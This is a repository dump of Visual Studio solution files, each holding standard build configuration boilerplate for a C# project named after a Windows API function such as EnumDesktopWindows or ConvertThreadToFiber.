18 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|x64.ActiveCfg = Debug|x64
19 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Debug|x64.Build.0 = Debug|x64
20 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|x64.ActiveCfg = Release|x64
23 | {58E7C4E0-DB5E-483F-BC94-2BE382E1DC7B}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {AA6CCAF3-D076-4D76-A545-D486E73226DD}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumTimeFormatsEx/EnumTimeFormatsEx.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumTimeFormatsEx", "EnumTimeFormatsEx\EnumTimeFormatsEx.csproj", "{07B246A4-2451-409B-8BF3-29B0BBDDACCE}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|x64.ActiveCfg = Debug|x64
19 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Debug|x64.Build.0 = Debug|x64
20 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|x64.ActiveCfg = Release|x64
23 | {07B246A4-2451-409B-8BF3-29B0BBDDACCE}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {C09F7A3A-6B79-45CC-8D38-4E6C35862670}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SymFindFileInPath/SymFindFileInPath.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SymFindFileInPath", "SymFindFileInPath\SymFindFileInPath.csproj", "{562963CC-2F8B-4FC0-B156-126A642D5624}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|x64.ActiveCfg = Debug|x64
19 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Debug|x64.Build.0 = Debug|x64
20 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|x64.ActiveCfg = Release|x64
23 | {562963CC-2F8B-4FC0-B156-126A642D5624}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4AB29331-1524-4658-8E73-3B568CC906CA}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumCalenderInfoEx/EnumCalenderInfoEx.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumCalenderInfoEx", "EnumCalenderInfoEx\EnumCalenderInfoEx.csproj", "{82C57B31-0D20-4FD8-BE56-57EED7A71D05}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|x64.ActiveCfg = Debug|x64
19 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Debug|x64.Build.0 = Debug|x64
20 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|x64.ActiveCfg = Release|x64
23 | {82C57B31-0D20-4FD8-BE56-57EED7A71D05}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F2C2EE28-9EEC-472B-A801-7AF3D5377291}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumDesktopWindows/EnumDesktopWindows.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDesktopWindows", "EnumDesktopWindows\EnumDesktopWindows.csproj", "{637A9123-00E3-41DB-92C0-ECA86D733B94}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|x64.ActiveCfg = Debug|x64
19 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Debug|x64.Build.0 = Debug|x64
20 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|x64.ActiveCfg = Release|x64
23 | {637A9123-00E3-41DB-92C0-ECA86D733B94}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B773E3BE-6A02-4761-AFF8-30455EA8B6CA}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumResourceTypesW/EnumResourceTypesW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.csproj", "{F16E3F01-8880-4DB2-9ADC-9EBF58298171}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|x64.ActiveCfg = Debug|x64
19 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Debug|x64.Build.0 = Debug|x64
20 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|x64.ActiveCfg = Release|x64
23 | {F16E3F01-8880-4DB2-9ADC-9EBF58298171}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {2292021D-A0AA-4A33-B536-C31283E9F9A9}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumSystemGeoNames/EnumSystemGeoNames.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumSystemGeoNames", "EnumSystemGeoNames\EnumSystemGeoNames.csproj", "{B0765B8D-7902-4C76-8321-A89382F2ABA4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|x64.ActiveCfg = Debug|x64
19 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Debug|x64.Build.0 = Debug|x64
20 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|x64.ActiveCfg = Release|x64
23 | {B0765B8D-7902-4C76-8321-A89382F2ABA4}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F8CAD6F0-07F8-4E3F-9C5E-716E8B9BC4BA}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SysEnumSourceFiles/SysEnumSourceFiles.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SysEnumSourceFiles", "SysEnumSourceFiles\SysEnumSourceFiles.csproj", "{A42F70EE-0955-421F-9365-0DA5B526868B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|x64.ActiveCfg = Debug|x64
19 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Debug|x64.Build.0 = Debug|x64
20 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|x64.ActiveCfg = Release|x64
23 | {A42F70EE-0955-421F-9365-0DA5B526868B}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {AE43B042-DF18-4BA4-89BE-A94D59B9B1AD}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CertEnumSystemStore/CertEnumSystemStore.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CertEnumSystemStore", "CertEnumSystemStore\CertEnumSystemStore.csproj", "{16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|x64.ActiveCfg = Debug|x64
19 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Debug|x64.Build.0 = Debug|x64
20 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|x64.ActiveCfg = Release|x64
23 | {16ED9987-C9FD-4627-A7A6-F2CD24BC23D8}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {5F104D05-D301-49B0-ACA6-9225B8B591D3}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumDisplayMonitors/EnumDisplayMonitors.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDisplayMonitors", "EnumDisplayMonitors\EnumDisplayMonitors.csproj", "{293962D3-2BD8-430C-83F0-9C0E54D6DA00}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|x64.ActiveCfg = Debug|x64
19 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Debug|x64.Build.0 = Debug|x64
20 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|x64.ActiveCfg = Release|x64
23 | {293962D3-2BD8-430C-83F0-9C0E54D6DA00}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {E49C2E89-B3E0-4FD7-9ACA-2402C83AA109}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumFontFamiliesExW/EnumFontFamiliesExW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontFamiliesExW", "EnumFontFamiliesExW\EnumFontFamiliesExW.csproj", "{C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|x64.ActiveCfg = Debug|x64
19 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Debug|x64.Build.0 = Debug|x64
20 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|x64.ActiveCfg = Release|x64
23 | {C3A1F31A-B99A-4D82-80AA-8F60BB748DCB}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {67BAD291-2F1D-44F6-AC30-C157406FF76A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumWindowStationsW/EnumWindowStationsW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumWindowStationsW", "EnumWindowStationsW\EnumWindowStationsW.csproj", "{1355E1AE-4829-4F66-995D-9666F9721CF3}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|x64.ActiveCfg = Debug|x64
19 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Debug|x64.Build.0 = Debug|x64
20 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|x64.ActiveCfg = Release|x64
23 | {1355E1AE-4829-4F66-995D-9666F9721CF3}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B28DDF44-874B-4C8A-866E-1F773285A55D}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/ConvertThreadToFiber/ConvertThreadToFiber.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ConvertThreadToFiber", "ConvertThreadToFiber\ConvertThreadToFiber.csproj", "{71A2732B-A639-4A14-91AD-F0BE39076C12}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|x64.ActiveCfg = Debug|x64
19 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Debug|x64.Build.0 = Debug|x64
20 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|x64.ActiveCfg = Release|x64
23 | {71A2732B-A639-4A14-91AD-F0BE39076C12}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {C2867E58-1B16-4D42-B2F0-178D4D879B46}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CreateThreadPoolWait/CreateThreadPoolWait.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.csproj", "{A1596059-283E-4FA8-9F4A-C02CB4361CE1}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|x64.ActiveCfg = Debug|x64
19 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Debug|x64.Build.0 = Debug|x64
20 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|x64.ActiveCfg = Release|x64
23 | {A1596059-283E-4FA8-9F4A-C02CB4361CE1}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {77A89B87-0D7A-41D3-AB92-4E614AA8D2DF}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumResourceTypesExW/EnumResourceTypesExW.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33403.182
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumResourceTypesExW", "EnumResourceTypesExW\EnumResourceTypesExW.csproj", "{706C6931-4C08-4CB0-97CA-1B32F52B9403}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|x64.ActiveCfg = Debug|x64
19 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Debug|x64.Build.0 = Debug|x64
20 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|x64.ActiveCfg = Release|x64
23 | {706C6931-4C08-4CB0-97CA-1B32F52B9403}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {BFF3E828-FDDC-4BE2-A47C-2A77C21C3C33}
30 | EndGlobalSection
